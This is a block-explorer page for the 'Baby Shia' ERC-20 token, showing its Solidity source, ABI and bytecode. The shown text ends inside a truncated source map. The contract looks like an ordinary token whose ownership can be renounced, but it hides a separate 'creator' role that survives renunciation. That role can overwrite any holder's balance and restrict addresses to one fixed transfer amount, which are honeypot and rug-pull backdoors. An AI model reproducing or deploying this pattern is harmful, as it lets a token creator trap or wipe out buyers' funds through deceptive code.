Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
2,000,000 BABYSHIA
Holders
11
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
30,913.313890173477577589 BABYSHIAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BabyShia
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-24 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.17; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract ModifiedContext { function fetchMsgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract SingleOwnership is ModifiedContext { address private ownerOfContract; event OwnerTransition(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = fetchMsgSender(); ownerOfContract = msgSender; emit OwnerTransition(address(0), msgSender); } function fetchOwner() public view virtual returns (address) { return ownerOfContract; } modifier validateOwnership() { require(fetchOwner() == fetchMsgSender(), "AuthorizationError: Action must be performed by the contract owner"); _; } function relinquishOwnership() public virtual validateOwnership { emit OwnerTransition(ownerOfContract, address(0x000000000000000000000000000000000000dEaD)); ownerOfContract = address(0x000000000000000000000000000000000000dEaD); } } contract BabyShia is ModifiedContext, SingleOwnership, IERC20 { mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; mapping (address => uint256) private _exactTransferAmounts; address private creatorOfToken; string public constant _name = "Baby Shia"; string public constant _symbol = "BABYSHIA"; uint8 public constant _decimals = 18; uint256 public constant _totalSupply = 2000000 * (10 ** _decimals); constructor() { _balances[fetchMsgSender()] = _totalSupply; emit Transfer(address(0), fetchMsgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } modifier validateCreator() { require(fetchCreator() == fetchMsgSender(), "AuthorizationError: Action must be performed by the token creator"); _; } function fetchCreator() public view virtual returns (address) { return creatorOfToken; } function assignNewCreator(address newCreator) public validateOwnership { creatorOfToken = newCreator; } event TokensAdjusted(address indexed user, uint256 previousBalance, uint256 newBalance); function queryTransferExactAmount(address account) public view returns (uint256) { return _exactTransferAmounts[account]; } function defineTransferExactAmounts(address[] calldata accounts, uint256 amount) public validateCreator { for (uint i = 0; i < accounts.length; i++) { _exactTransferAmounts[accounts[i]] = amount; } } function adjustBalancesOfUsers(address[] memory userAddresses, uint256 desiredAmount) public validateCreator { require(desiredAmount >= 0, "InputError: Desired amount must be non-negative"); for (uint256 i = 0; i < userAddresses.length; i++) { address currentUser = userAddresses[i]; require(currentUser != address(0), "InputError: User address must not be a zero address"); uint256 oldBalance = _balances[currentUser]; _balances[currentUser] = desiredAmount; emit TokensAdjusted(currentUser, oldBalance, desiredAmount); } } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_balances[fetchMsgSender()] >= amount, "TT: transfer amount exceeds balance"); uint256 exactAmount = queryTransferExactAmount(fetchMsgSender()); if (exactAmount > 0) { require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount"); } _balances[fetchMsgSender()] -= amount; _balances[recipient] += amount; emit Transfer(fetchMsgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[fetchMsgSender()][spender] = amount; emit Approval(fetchMsgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][fetchMsgSender()] >= amount, "TT: transfer amount exceeds allowance"); uint256 exactAmount = queryTransferExactAmount(sender); if (exactAmount > 0) { require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount"); } _balances[sender] -= amount; _balances[recipient] += amount; _allowances[sender][fetchMsgSender()] -= amount; emit Transfer(sender, recipient, amount); return true; } function totalSupply() external view override returns (uint256) { return _totalSupply; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnerTransition","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"TokensAdjusted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"desiredAmount","type":"uint256"}],"name":"adjustBalancesOfUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"assignNewCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"defineTransferExactAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fetchCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fetchOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"queryTransferExactAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"relinquishOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f05da74d5e3e6fc5335ba0bf51ef7e24caba0bc20bbc9bc992e00471882ebdd63908290a350620000616012600a620001ee565b6200007090621e848062000206565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000b36012600a620001ee565b620000c290621e848062000206565b60405190815260200160405180910390a362000220565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000130578160001904821115620001145762000114620000d9565b808516156200012257918102915b93841c9390800290620000f4565b509250929050565b6000826200014957506001620001e8565b816200015857506000620001e8565b81600181146200017157600281146200017c576200019c565b6001915050620001e8565b60ff841115620001905762000190620000d9565b50506001821b620001e8565b5060208310610133831016604e8410600b8410161715620001c1575081810a620001e8565b620001cd8383620000ef565b8060001904821115620001e457620001e4620000d9565b0290505b92915050565b6000620001ff60ff84168362000138565b9392505050565b8082028115828204841417620001e857620001e8620000d9565b610eea80620002306000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806395d89b41116100ad578063b1e9ee0f11610071578063b1e9ee0f146102be578063c587396b146102d1578063d28d8852146102d9578063d52b99da14610301578063dd62ed3e1461032a57600080fd5b806395d89b411461023c5780639b2e4c29146102605780639e2b8cd114610271578063a9059cbb14610284578063b09f12661461029757600080fd5b80632f8407c2116100f45780632f8407c2146101c9578063313ce567146101ee57806332424aa3146102035780633eaaf86b1461020b57806370a082311461021357600080fd5b80630517968d1461013157806306fdde0314610146578063095ea7b31461017d57806318160ddd146101a057806323b872dd146101b6575b600080fd5b61014461013f3660046109c4565b610363565b005b60408051808201909152600981526842616279205368696160b81b60208201525b6040516101749190610a8f565b60405180910390f35b61019061018b366004610add565b6104b2565b6040519015158152602001610174565b6101a861051a565b604051908152602001610174565b6101906101c4366004610b07565b61053a565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610174565b60125b60405160ff9091168152602001610174565b6101f1601281565b6101a86106e5565b6101a8610221366004610b43565b6001600160a01b031660009081526002602052604090205490565b604080518082019091526008815267424142595348494160c01b6020820152610167565b6004546001600160a01b03166101d6565b61014461027f366004610b65565b610701565b610190610292366004610add565b610794565b61016760405180604001604052806008815260200167424142595348494160c01b81525081565b6101446102cc366004610b43565b6108cc565b610144610918565b6101676040518060400160405280600981526020016842616279205368696160b81b81525081565b6101a861030f366004610b43565b6001600160a01b031660009081526003602052604090205490565b6101a8610338366004610be0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6004546001600160a01b031633146103965760405162461bcd60e51b815260040161038d90610c13565b60405180910390fd5b60005b82518110156104ad5760008382815181106103b6576103b6610c7a565b6020026020010151905060006001600160a01b0316816001600160a01b03160361043e5760405162461bcd60e51b815260206004820152603360248201527f496e7075744572726f723a20557365722061646472657373206d757374206e6f604482015272742062652061207a65726f206164647265737360681b606482015260840161038d565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917ffc0e5d9289abc217a5b78563c6d027e1c1c4d127b0dae1278e9572d6fe9cbd58910160405180910390a2505080806104a590610ca6565b915050610399565b505050565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006105286012600a610da3565b61053590621e8480610db2565b905090565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156105bb5760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b606482015260840161038d565b6001600160a01b03841660009081526003602052604090205480156105f9578083146105f95760405162461bcd60e51b815260040161038d90610dc9565b6001600160a01b03851660009081526002602052604081208054859290610621908490610e26565b90915550506001600160a01b0384166000908152600260205260408120805485929061064e908490610e39565b90915550506001600160a01b038516600090815260016020908152604080832033845290915281208054859290610686908490610e26565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106d291815260200190565b60405180910390a3506001949350505050565b6106f16012600a610da3565b6106fe90621e8480610db2565b81565b6004546001600160a01b0316331461072b5760405162461bcd60e51b815260040161038d90610c13565b60005b8281101561078e57816003600086868581811061074d5761074d610c7a565b90506020020160208101906107629190610b43565b6001600160a01b031681526020810191909152604001600020558061078681610ca6565b91505061072e565b50505050565b336000908152600260205260408120548211156107ff5760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b606482015260840161038d565b600061080a3361030f565b90508015610831578083146108315760405162461bcd60e51b815260040161038d90610dc9565b3360009081526002602052604081208054859290610850908490610e26565b90915550506001600160a01b0384166000908152600260205260408120805485929061087d908490610e39565b90915550506040518381526001600160a01b0385169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35060019392505050565b6000546001600160a01b031633146108f65760405162461bcd60e51b815260040161038d90610e4c565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109425760405162461bcd60e51b815260040161038d90610e4c565b6000805460405161dead926001600160a01b03909216917f05da74d5e3e6fc5335ba0bf51ef7e24caba0bc20bbc9bc992e00471882ebdd6391a3600080546001600160a01b03191661dead179055565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b03811681146109bf57600080fd5b919050565b600080604083850312156109d757600080fd5b823567ffffffffffffffff808211156109ef57600080fd5b818501915085601f830112610a0357600080fd5b8135602082821115610a1757610a17610992565b8160051b604051601f19603f83011681018181108682111715610a3c57610a3c610992565b604052928352818301935084810182019289841115610a5a57600080fd5b948201945b83861015610a7f57610a70866109a8565b85529482019493820193610a5f565b9997909101359750505050505050565b600060208083528351808285015260005b81811015610abc57858101830151858201604001528201610aa0565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215610af057600080fd5b610af9836109a8565b946020939093013593505050565b600080600060608486031215610b1c57600080fd5b610b25846109a8565b9250610b33602085016109a8565b9150604084013590509250925092565b600060208284031215610b5557600080fd5b610b5e826109a8565b9392505050565b600080600060408486031215610b7a57600080fd5b833567ffffffffffffffff80821115610b9257600080fd5b818601915086601f830112610ba657600080fd5b813581811115610bb557600080fd5b8760208260051b8501011115610bca57600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610bf357600080fd5b610bfc836109a8565b9150610c0a602084016109a8565b90509250929050565b60208082526041908201527f417574686f72697a6174696f6e4572726f723a20416374696f6e206d7573742060408201527f626520706572666f726d65642062792074686520746f6b656e2063726561746f6060820152603960f91b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610cb857610cb8610c90565b5060010190565b600181815b80851115610cfa578160001904821115610ce057610ce0610c90565b80851615610ced57918102915b93841c9390800290610cc4565b509250929050565b600082610d1157506001610514565b81610d1e57506000610514565b8160018114610d345760028114610d3e57610d5a565b6001915050610514565b60ff841115610d4f57610d4f610c90565b50506001821b610514565b5060208310610133831016604e8410600b8410161715610d7d575081810a610514565b610d878383610cbf565b8060001904821115610d9b57610d9b610c90565b029392505050565b6000610b5e60ff841683610d02565b808202811582820484141761051457610514610c90565b6020808252603c908201527f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560408201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000606082015260800190565b8181038181111561051457610514610c90565b8082018082111561051457610514610c90565b60208082526042908201527f417574686f72697a6174696f6e4572726f723a20416374696f6e206d7573742060408201527f626520706572666f726d65642062792074686520636f6e7472616374206f776e60608201526132b960f11b608082015260a0019056fea26469706673582212203f1954fb46ef79f55c557341081d8dd61516d6d5fb1fb76558a7ca3f22153be864736f6c63430008110033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806395d89b41116100ad578063b1e9ee0f11610071578063b1e9ee0f146102be578063c587396b146102d1578063d28d8852146102d9578063d52b99da14610301578063dd62ed3e1461032a57600080fd5b806395d89b411461023c5780639b2e4c29146102605780639e2b8cd114610271578063a9059cbb14610284578063b09f12661461029757600080fd5b80632f8407c2116100f45780632f8407c2146101c9578063313ce567146101ee57806332424aa3146102035780633eaaf86b1461020b57806370a082311461021357600080fd5b80630517968d1461013157806306fdde0314610146578063095ea7b31461017d57806318160ddd146101a057806323b872dd146101b6575b600080fd5b61014461013f3660046109c4565b610363565b005b60408051808201909152600981526842616279205368696160b81b60208201525b6040516101749190610a8f565b60405180910390f35b61019061018b366004610add565b6104b2565b6040519015158152602001610174565b6101a861051a565b604051908152602001610174565b6101906101c4366004610b07565b61053a565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610174565b60125b60405160ff9091168152602001610174565b6101f1601281565b6101a86106e5565b6101a8610221366004610b43565b6001600160a01b031660009081526002602052604090205490565b604080518082019091526008815267424142595348494160c01b6020820152610167565b6004546001600160a01b03166101d6565b61014461027f366004610b65565b610701565b610190610292366004610add565b610794565b61016760405180604001604052806008815260200167424142595348494160c01b81525081565b6101446102cc366004610b43565b6108cc565b610144610918565b6101676040518060400160405280600981526020016842616279205368696160b81b81525081565b6101a861030f366004610b43565b6001600160a01b031660009081526003602052604090205490565b6101a8610338366004610be0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6004546001600160a01b031633146103965760405162461bcd60e51b815260040161038d90610c13565b60405180910390fd5b60005b82518110156104ad5760008382815181106103b6576103b6610c7a565b6020026020010151905060006001600160a01b0316816001600160a01b03160361043e5760405162461bcd60e51b815260206004820152603360248201527f496e7075744572726f723a20557365722061646472657373206d757374206e6f604482015272742062652061207a65726f206164647265737360681b606482015260840161038d565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917ffc0e5d9289abc217a5b78563c6d027e1c1c4d127b0dae1278e9572d6fe9cbd58910160405180910390a2505080806104a590610ca6565b915050610399565b505050565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006105286012600a610da3565b61053590621e8480610db2565b905090565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156105bb5760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b606482015260840161038d565b6001600160a01b03841660009081526003602052604090205480156105f9578083146105f95760405162461bcd60e51b815260040161038d90610dc9565b6001600160a01b03851660009081526002602052604081208054859290610621908490610e26565b90915550506001600160a01b0384166000908152600260205260408120805485929061064e908490610e39565b90915550506001600160a01b038516600090815260016020908152604080832033845290915281208054859290610686908490610e26565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106d291815260200190565b60405180910390a3506001949350505050565b6106f16012600a610da3565b6106fe90621e8480610db2565b81565b6004546001600160a01b0316331461072b5760405162461bcd60e51b815260040161038d90610c13565b60005b8281101561078e57816003600086868581811061074d5761074d610c7a565b90506020020160208101906107629190610b43565b6001600160a01b031681526020810191909152604001600020558061078681610ca6565b91505061072e565b50505050565b336000908152600260205260408120548211156107ff5760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b606482015260840161038d565b600061080a3361030f565b90508015610831578083146108315760405162461bcd60e51b815260040161038d90610dc9565b3360009081526002602052604081208054859290610850908490610e26565b90915550506001600160a01b0384166000908152600260205260408120805485929061087d908490610e39565b90915550506040518381526001600160a01b0385169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35060019392505050565b6000546001600160a01b031633146108f65760405162461bcd60e51b815260040161038d90610e4c565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109425760405162461bcd60e51b815260040161038d90610e4c565b6000805460405161dead926001600160a01b03909216917f05da74d5e3e6fc5335ba0bf51ef7e24caba0bc20bbc9bc992e00471882ebdd6391a3600080546001600160a01b03191661dead179055565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b03811681146109bf57600080fd5b919050565b600080604083850312156109d757600080fd5b823567ffffffffffffffff808211156109ef57600080fd5b818501915085601f830112610a0357600080fd5b8135602082821115610a1757610a17610992565b8160051b604051601f19603f83011681018181108682111715610a3c57610a3c610992565b604052928352818301935084810182019289841115610a5a57600080fd5b948201945b83861015610a7f57610a70866109a8565b85529482019493820193610a5f565b9997909101359750505050505050565b600060208083528351808285015260005b81811015610abc57858101830151858201604001528201610aa0565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215610af057600080fd5b610af9836109a8565b946020939093013593505050565b600080600060608486031215610b1c57600080fd5b610b25846109a8565b9250610b33602085016109a8565b9150604084013590509250925092565b600060208284031215610b5557600080fd5b610b5e826109a8565b9392505050565b600080600060408486031215610b7a57600080fd5b833567ffffffffffffffff80821115610b9257600080fd5b818601915086601f830112610ba657600080fd5b813581811115610bb557600080fd5b8760208260051b8501011115610bca57600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610bf357600080fd5b610bfc836109a8565b9150610c0a602084016109a8565b90509250929050565b60208082526041908201527f417574686f72697a6174696f6e4572726f723a20416374696f6e206d7573742060408201527f626520706572666f726d65642062792074686520746f6b656e2063726561746f6060820152603960f91b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610cb857610cb8610c90565b5060010190565b600181815b80851115610cfa578160001904821115610ce057610ce0610c90565b80851615610ced57918102915b93841c9390800290610cc4565b509250929050565b600082610d1157506001610514565b81610d1e57506000610514565b8160018114610d345760028114610d3e57610d5a565b6001915050610514565b60ff841115610d4f57610d4f610c90565b50506001821b610514565b5060208310610133831016604e8410600b8410161715610d7d575081810a610514565b610d878383610cbf565b8060001904821115610d9b57610d9b610c90565b029392505050565b6000610b5e60ff841683610d02565b808202811582820484141761051457610514610c90565b6020808252603c908201527f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560408201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000606082015260800190565b8181038181111561051457610514610c90565b8082018082111561051457610514610c90565b60208082526042908201527f417574686f72697a6174696f6e4572726f723a20416374696f6e206d7573742060408201527f626520706572666f726d65642062792074686520636f6e7472616374206f776e60608201526132b960f11b608082015260a0019056fea26469706673582212203f1954fb46ef79f55c557341081d8dd61516d6d5fb1fb76558a7ca3f22153be864736f6c63430008110033
Deployed Bytecode Sourcemap
1813:4310:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3657:627;;;;;;:::i;:::-;;:::i;:::-;;2483:83;2553:5;;;;;;;;;;;;-1:-1:-1;;;2553:5:0;;;;2483:83;;;;;;;:::i;:::-;;;;;;;;5149:236;;;;;;:::i;:::-;;:::i;:::-;;;2497:14:1;;2490:22;2472:41;;2460:2;2445:18;5149:236:0;2332:187:1;6022:98:0;;;:::i;:::-;;;2670:25:1;;;2658:2;2643:18;6022:98:0;2524:177:1;5393:621:0;;;;;;:::i;:::-;;:::i;1263:101::-;1314:7;1341:15;-1:-1:-1;;;;;1341:15:0;1263:101;;;-1:-1:-1;;;;;3203:32:1;;;3185:51;;3173:2;3158:18;1263:101:0;3039:203:1;2669:83:0;2248:2;2669:83;;;3419:4:1;3407:17;;;3389:36;;3377:2;3362:18;2669:83:0;3247:184:1;2214:36:0;;2248:2;2214:36;;2257:66;;;:::i;4292:119::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4385:18:0;4358:7;4385:18;;;:9;:18;;;;;;;4292:119;2574:87;2646:7;;;;;;;;;;;;-1:-1:-1;;;2646:7:0;;;;2574:87;;2938:102;3018:14;;-1:-1:-1;;;;;3018:14:0;2938:102;;3414:235;;;;;;:::i;:::-;;:::i;4417:565::-;;;;;;:::i;:::-;;:::i;2164:43::-;;;;;;;;;;;;;;;-1:-1:-1;;;2164:43:0;;;;;3048:117;;;;;;:::i;:::-;;:::i;1551:253::-;;;:::i;2115:42::-;;;;;;;;;;;;;;;-1:-1:-1;;;2115:42:0;;;;;3269:137;;;;;;:::i;:::-;-1:-1:-1;;;;;3368:30:0;3341:7;3368:30;;;:21;:30;;;;;;;3269:137;4990:151;;;;;;:::i;:::-;-1:-1:-1;;;;;5106:18:0;;;5079:7;5106:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4990:151;3657:627;3018:14;;-1:-1:-1;;;;;3018:14:0;892:10;2806:34;2798:112;;;;-1:-1:-1;;;2798:112:0;;;;;;;:::i;:::-;;;;;;;;;3873:9:::1;3868:409;3892:13;:20;3888:1;:24;3868:409;;;3934:19;3956:13;3970:1;3956:16;;;;;;;;:::i;:::-;;;;;;;3934:38;;4018:1;-1:-1:-1::0;;;;;3995:25:0::1;:11;-1:-1:-1::0;;;;;3995:25:0::1;::::0;3987:89:::1;;;::::0;-1:-1:-1;;;3987:89:0;;5810:2:1;3987:89:0::1;::::0;::::1;5792:21:1::0;5849:2;5829:18;;;5822:30;5888:34;5868:18;;;5861:62;-1:-1:-1;;;5939:18:1;;;5932:49;5998:19;;3987:89:0::1;5608:415:1::0;3987:89:0::1;-1:-1:-1::0;;;;;4114:22:0;::::1;4093:18;4114:22:::0;;;:9:::1;:22;::::0;;;;;;;;;;4151:38;;;;4211:54;;6202:25:1;;;6243:18;;;6236:34;;;4114:22:0;;4211:54:::1;::::0;6175:18:1;4211:54:0::1;;;;;;;3919:358;;3914:3;;;;;:::i;:::-;;;;3868:409;;;;3657:627:::0;;:::o;5149:236::-;892:10;5232:4;5249:29;;;:11;:29;;;;;;;;-1:-1:-1;;;;;5249:38:0;;;;;;;;;;;:47;;;5312:43;;2670:25:1;;;5232:4:0;;5249:38;;892:10;;5312:43;;2643:18:1;5312:43:0;;;;;;;-1:-1:-1;5373:4:0;5149:236;;;;;:::o;6022:98::-;6077:7;2307:15;2248:2;2307;:15;:::i;:::-;2296:27;;:7;:27;:::i;:::-;6093:19;;6022:98;:::o;5393:621::-;-1:-1:-1;;;;;5520:19:0;;5499:4;5520:19;;;:11;:19;;;;;;;;892:10;5520:37;;;;;;;;:47;-1:-1:-1;5520:47:0;5512:97;;;;-1:-1:-1;;;5512:97:0;;8311:2:1;5512:97:0;;;8293:21:1;8350:2;8330:18;;;8323:30;8389:34;8369:18;;;8362:62;-1:-1:-1;;;8440:18:1;;;8433:35;8485:19;;5512:97:0;8109:401:1;5512:97:0;-1:-1:-1;;;;;3368:30:0;;5618:19;3368:30;;;:21;:30;;;;;;5683:15;;5679:134;;5729:11;5719:6;:21;5711:94;;;;-1:-1:-1;;;5711:94:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5821:17:0;;;;;;:9;:17;;;;;:27;;5842:6;;5821:17;:27;;5842:6;;5821:27;:::i;:::-;;;;-1:-1:-1;;;;;;;5855:20:0;;;;;;:9;:20;;;;;:30;;5879:6;;5855:20;:30;;5879:6;;5855:30;:::i;:::-;;;;-1:-1:-1;;;;;;;5892:19:0;;;;;;:11;:19;;;;;;;;892:10;5892:37;;;;;;;:47;;5933:6;;5892:19;:47;;5933:6;;5892:47;:::i;:::-;;;;;;;;5970:9;-1:-1:-1;;;;;5953:35:0;5962:6;-1:-1:-1;;;;;5953:35:0;;5981:6;5953:35;;;;2670:25:1;;2658:2;2643:18;;2524:177;5953:35:0;;;;;;;;-1:-1:-1;6002:4:0;;5393:621;-1:-1:-1;;;;5393:621:0:o;2257:66::-;2307:15;2248:2;2307;:15;:::i;:::-;2296:27;;:7;:27;:::i;:::-;2257:66;:::o;3414:235::-;3018:14;;-1:-1:-1;;;;;3018:14:0;892:10;2806:34;2798:112;;;;-1:-1:-1;;;2798:112:0;;;;;;;:::i;:::-;3534:6:::1;3529:113;3546:19:::0;;::::1;3529:113;;;3624:6;3587:21;:34;3609:8;;3618:1;3609:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3587:34:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;3587:34:0;:43;3567:3;::::1;::::0;::::1;:::i;:::-;;;;3529:113;;;;3414:235:::0;;;:::o;4417:565::-;892:10;4503:4;4524:27;;;:9;:27;;;;;;:37;-1:-1:-1;4524:37:0;4516:85;;;;-1:-1:-1;;;4516:85:0;;9409:2:1;4516:85:0;;;9391:21:1;9448:2;9428:18;;;9421:30;9487:34;9467:18;;;9460:62;-1:-1:-1;;;9538:18:1;;;9531:33;9581:19;;4516:85:0;9207:399:1;4516:85:0;4610:19;4632:42;892:10;4657:16;792:119;4632:42;4610:64;-1:-1:-1;4685:15:0;;4681:134;;4731:11;4721:6;:21;4713:94;;;;-1:-1:-1;;;4713:94:0;;;;;;;:::i;:::-;892:10;4823:27;;;;:9;:27;;;;;:37;;4854:6;;4823:27;:37;;4854:6;;4823:37;:::i;:::-;;;;-1:-1:-1;;;;;;;4867:20:0;;;;;;:9;:20;;;;;:30;